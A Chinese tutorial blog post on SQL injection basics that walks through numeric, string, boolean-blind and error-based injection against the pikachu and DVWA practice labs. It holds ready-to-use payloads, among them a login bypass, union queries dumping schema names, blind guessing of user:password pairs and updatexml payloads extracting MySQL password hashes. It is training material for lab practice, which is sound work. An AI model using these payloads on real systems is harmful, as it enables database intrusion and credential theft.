当前位置: 首页 > news >正文

01 SQl注入基础步骤(数字、字符、布尔盲注、报错)

目录

1、SQL注入漏洞的概要

2、SQL注入的常规思路

3、数字型注入

4、字符型注入

5、布尔盲注

6、报错注入


1、SQL注入漏洞的概要

原理:通过用户输入的数据未严格过滤,将恶意SQL语句拼接到原始查询中,从而操控数据库执行非预期操作。

危害

  1. 窃取敏感数据(用户信息、密码等)
  2. 篡改或删除数据库内容
  3. 提权攻击(获取服务器权限)

示例-用户登录场景中,输入 admin' -- 绕过密码验证:

SELECT * FROM users WHERE username='admin' -- ' AND password='...'

2、SQL注入的常规思路

  1. 寻找注入点,可以借助web扫描工具实现。

  2. 通过注入点,尝试获取数据库用户名user()、数据库名称database()、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

  3. 猜解关键数据库表及其重要字段(获取数据库root账号、密码)

  4. 通过获取的用户信息,寻找后台登录

  5. 利用后台了解进一步的信息

3、数字型注入

特征:参数为整数类型,无需引号闭合。
注入原理:直接拼接用户输入到SQL语句的数值位置。

测试靶场为pikachu数字型SQL注入漏洞

网页中若遇到数字型的SQL漏洞注入点时,可以按照一下方式进行注入:

  1. 寻找注入点,查看是否有回显信息。
    3 and 1=1 
    
    3 order by 1
    null union select 1,2

  2. 利用准备好的SQL语句进行注入

    null union select(select version()),(select database())
    null union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null
    null union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null

 

4、字符型注入

特征:参数为字符串类型,需用单引号闭合。
注入原理:闭合原始引号并插入恶意代码,注释掉后续内容。
测试的靶场为DVWA,以下为详细步骤:

  1. 寻找注入点,查看是否有回显信息。
    1' and 1=1#
    
    1' order by 1#
    null' union select null,null#

  2. 利用准备好的SQL语句进行注入

    null' union select(select version()),(select database())#
    null' union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null#
    null' union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null#

5、布尔盲注

适用场景:页面无显式数据回显,但会根据SQL执行结果返回不同状态(如内容长度、布尔值)。
原理:通过构造布尔条件(TRUE/FALSE),观察页面响应差异,逐字符猜测数据。

测试的靶场为DVWA,以下为详细步骤:

  1. 根据页面的不同状态,查看是否有注入点
    1' and 1=1#
    
    1' and 1=2#

  2. SQL语句准备
     

    1' and if (length(database())>4,1,0)# 
    1' and if (substring(database(),2,1)='v',1,0)#
    1' and if (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g',1,0)#
    1' and if (substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',1,0)#
    1' and if (substring((select group_concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
  3. 利用BurpSuite工具,进行猜解名字



6、报错注入

适用场景:页面显示数据库错误信息(如MySQL错误日志)。
原理:利用数据库函数故意触发错误,将查询结果回显到报错信息中。

常见报错函数updatexml()extractvalue()exp()

SELECT * FROM users WHERE id=1 AND updatexml(1, concat(0x7e, (SELECT version())), 1)

测试的靶场为DVWA,以下为详细步骤:

  1.  寻找注入点,查看页面是否报错。
    1'
    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

  2. 利用准备好的SQL语句进行注入
     

    1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,( Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
    1' and updatexml(1,concat(0x7e,(select group_concat(authentication_string)  from mysql.user limit 1),0x7e),1)# 
    1' and updatexml(1,concat(0x7e,(substring((select group_concat(authentication_string)  from mysql.user limit 1),32,40)),0x7e),1)#

http://www.dtcms.com/a/54411.html

相关文章:

  • R2S的网络丢包率高问题小记
  • C0复习——课堂笔记<1>
  • 【C++】: STL详解 —— set和map类
  • 《MySQL三大核心日志解析:Undo Log/Redo Log/Bin Log对比与实践指南》
  • 私有云基础架构与运维(二)
  • Kylin麒麟操作系统服务部署 | NFS服务部署
  • 【音视频】ffplay常用命令
  • 【玩转正则表达式】正则表达式常用语法汇总
  • DevOps全流程
  • Redis高频面试题10个
  • 机器视觉运动控制一体机在天地盖同步跟随贴合解决方案
  • 系统架构设计师—数据库基础篇—数据库设计
  • C++编程:进阶阶段—4.1封装
  • Fork/Join 框架详解:分支合并的高性能并发编程
  • NoClassDefFoundError:UnsynchronizedByteArrayOutputStream
  • MySQL复合查询——通过案例讲解每个指令
  • MR的环形缓冲区(底层)
  • MyBatis-Plus开发流程:Spring Boot + MyBatis-Plus 实现对 book_tab 表的增删改查及Redis缓存
  • 在线量化工具总结与实战(mqbench) -- 学习记录
  • Vue 的 render 函数如何与 JSX 结合使用
  • 数据库防火墙 架构设计
  • 怎么做数据冷热分离?怎么做分库分表?为什么要用ES?
  • Seurat - Guided Clustering Tutorial官方文档学习及复现
  • 破解透明物体抓取难题,地瓜机器人CASIA 推出几何和语义融合的单目抓取方案|ICRA 2025
  • 图表解析技术:逆向提取图表数据,需要哪几步?
  • 基于Hadoop平台的电信客服数据的处理与分析
  • Ubuntu 合上屏幕 不待机 设置
  • 【Winform】WinForms中进行复杂UI开发时的优化
  • 【leetcode hot 100 48】旋转图像
  • C++ 单词识别_牛客题霸_牛客网